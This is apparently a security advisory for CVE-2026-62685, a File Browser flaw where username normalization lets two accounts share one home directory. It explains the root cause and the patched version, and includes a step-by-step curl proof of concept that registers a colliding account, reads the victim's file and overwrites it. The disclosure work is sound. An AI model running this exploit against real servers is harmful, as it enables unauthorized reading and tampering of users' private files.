CVE-2026-62685: File Browser Username Normalization Home Directory Collision
When self-registration is open, two users with differently-spelled usernames can end up sharing the exact same home directory, letting an attacker read and overwrite another user's private files.
The problem
File Browser confines each user to a scoped home directory. When both Signup and CreateUserDir are enabled, that directory path is built from the username after it passes through cleanUsername(), which strips .. and replaces every character outside [0-9A-Za-z@_.-] with -.
Because cleanUsername is many-to-one, distinct usernames like teamone/x and teamone-x produce the same directory name. FileBrowser enforces uniqueness only on the raw username, never on the derived scope, so the second registrant is silently handed the first user's home directory.
Both accounts coexist normally and neither user is warned.
Proof of concept
A working proof-of-concept for CVE-2026-62685 in github.com/filebrowser/filebrowser/v2, with the exact payload below.
B=http://localhost:8090; PW='CollidePw12345!'
# Admin enables signup + createUserDir
AP=$(docker logs filebrowser-test 2>&1 | grep -o 'password: .*' | awk '{print $2}')
AT=$(curl -s -X POST $B/api/login -H 'Content-Type: application/json' \
-d "{\"username\":\"admin\",\"password\":\"$AP\"}")
curl -s -H "X-Auth: $AT" $B/api/settings \
| python3 -c "import sys,json;d=json.load(sys.stdin);d['signup']=True;d['createUserDir']=True;print(json.dumps(d))" \
| curl -s -X PUT $B/api/settings -H "X-Auth: $AT" -H 'Content-Type: application/json' -d @-
# Register victim
curl -s -X POST $B/api/signup -H 'Content-Type: application/json' \
-d '{"username":"teamone-x","password":"CollidePw12345!"}'
# Register attacker with colliding username (/ stripped -> same dir)
curl -s -X POST $B/api/signup -H 'Content-Type: application/json' \
-d '{"username":"teamone/x","password":"CollidePw12345!"}'
# Victim writes a private file
TA=$(curl -s -X POST $B/api/login -H 'Content-Type: application/json' \
-d '{"username":"teamone-x","password":"CollidePw12345!"}')
curl -s -X POST "$B/api/resources/secretA.txt?override=true" \
-H "X-Auth: $TA" --data-binary 'A-private-CONFIDENTIAL-data'
# Attacker reads victim's file via shared scope
TB=$(curl -s -X POST $B/api/login -H 'Content-Type: application/json' \
-d '{"username":"teamone/x","password":"CollidePw12345!"}')
curl -s "$B/api/raw/secretA.txt" -H "X-Auth: $TB"
# -> A-private-CONFIDENTIAL-data
# Attacker overwrites victim's file
curl -s -X POST "$B/api/resources/secretA.txt?override=true" \
-H "X-Auth: $TB" --data-binary 'TAMPERED-BY-B'The root cause is cleanUsername() in settings/dir.go collapsing any non-[0-9A-Za-z@_.-] character to - and silently deleting .., making the function many-to-one. The scope path.Join(UserHomeBasePath, cleanUsername(username)) is then written back to the new user record with no check that another user already owns the same path. MkdirAll is idempotent, so the directory is quietly reused.
CWE-706 (non-canonical path for authorization) and CWE-706 cousin CWE-1386 (resolved-name confusion) both apply. The patch (commit 883a36f) adds a GetByScope lookup in signupHandler and returns HTTP 409 Conflict when CreateUserDir is on and the derived scope is already owned, closing the collision window entirely.
The fix
Upgrade to filebrowser v2.63.17 (commit 883a36f). The patched signupHandler calls store.Users.GetByScope(scope) before creating the account and rejects the registration with 409 Conflict if another user already owns the normalized scope. No configuration change is needed after upgrading.
Related research
- high · 8.2CVE-2026-55667CVE-2026-55667: File Browser Out-of-Scope File Deletion via Symlink-Following RemoveAll
- critical · 9.1CVE-2026-54089CVE-2026-54089: File Browser Authentication Bypass via Proxy Header Forgery
- critical · 9.1CVE-2026-65600CVE-2026-65600: Traefik ReplacePathRegex Authentication Bypass via Path Traversal
- highCVE-2026-54763CVE-2026-54763: Traefik BasicAuth/DigestAuth/ForwardAuth Underscore Header Identity Spoofing